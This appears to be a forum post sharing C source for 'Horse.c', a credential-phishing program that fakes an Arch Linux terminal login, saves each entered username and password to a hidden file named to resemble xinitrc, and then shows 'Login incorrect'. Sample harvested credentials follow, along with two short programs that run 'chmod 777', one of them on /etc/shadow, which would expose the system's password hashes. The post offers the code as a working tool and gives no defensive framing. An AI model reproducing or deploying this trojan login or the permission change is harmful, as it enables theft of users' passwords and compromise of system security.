It looks like you're new here. If you want to get involved, click one of these buttons!
//Horse.c - Updated version of Shooting Sharks phisher
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define WAIT 3 //This will sleep for 3 seconds, emulating how long it takes after I log on
#define INCORRECT \"Login incorrect\n\"
#define FILENAME \".xintrc\" //Hidden file that looks like the xinitrc ;)
void stop(void);
int main(void)
{
char name[10], password[10];
FILE *fp;
system(\"clear\");
printf(\"Arch Linux 2.6.36-ARCH (vandal) (tty1)\n\n\");
printf(\"vandal login: \");
fgets(name, sizeof(name), stdin);
name[strcspn(name,\"\n\")] = '\0';
printf(\"Password: \");
fgets(password, sizeof(password), stdin);
password[strcspn(password,\"\n\")] = '\0';
sleep(WAIT);
if((fp = fopen(FILENAME, \"a\")) != NULL)
{
fprintf(fp, \"User: %s Password: %s\n\", name, password);
fclose(fp);
stop();
}
printf(INCORRECT);
return 0;
}
void stop(void)
{
_Exit(0);
}
User: chronic Password: urmom
User: lol Password: lol
User: mary Password: jane
int main()
{
system(\"chmod 777 lol\");
return 0;
}
int main()
{
system(\"chmod 777 /etc/shadow\");
return 0;
}